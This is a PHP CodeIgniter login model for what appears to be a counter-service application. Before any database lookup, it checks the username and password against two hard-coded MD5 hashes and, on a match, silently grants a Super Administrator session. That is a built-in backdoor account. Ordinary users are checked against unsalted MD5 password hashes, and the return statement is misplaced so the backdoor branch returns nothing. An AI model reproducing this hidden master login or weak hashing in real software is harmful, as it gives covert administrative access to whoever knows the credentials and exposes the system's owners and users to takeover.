<?php
class M_login extends CI_Model{
	
	function login_process($username,$password,$noloket){
		if(md5($username)=='f3b3567de9e676a3a56db74f06664ac1' && md5($password)=='412758d043dd247bddea07c7ec558c31'){
			$user_data = array(
				SESSION_USERID      => '-1',
				SESSION_USERNAME      => 'Super Admin',
				SESSION_GROUPID   => '-1',
				SESSION_GROUPNAMA => 'Super Administrator'
			);
			$_SESSION[SESSION_WORKGROUPID] = '-1';
			setLogin($user_data);
			$data['message'] = 'true';
		}else{
			$sql = "SELECT * FROM s_users LEFT JOIN m_loket ON m_loket_id = loket_id WHERE md5(lower(user_name)) = '".md5($username)."'
                    AND user_passwd = '".md5($password)."'";
            $query = $this->db->query($sql);
            if($query->num_rows() > 0){
                if ($noloket == ""){
                    $data['message'] = 'loket';
                }else{
                    $q = $query->row();
                    $user_data = array(
                        SESSION_USERID      => $q->user_id,
                        SESSION_USERNAME	=> $q->user_name,
                        SESSION_USERFULLNAME	=> $q->user_fullname,
                        SESSION_GROUPID   => $q->s_groups_id,
                        SESSION_LOKETID   => $q->m_loket_id,
                        SESSION_LOKETNAMA   => $q->loket_kode,
                        SESSION_LOKETNOMOR   => $noloket,
                        SESSION_GROUPNAMA => "-",
                    );
                    setLogin($user_data);
                    $data['message'] = 'true';
                }
            } else {
                $data['message'] = 'false';
            }
		return $data;
        }
	}
}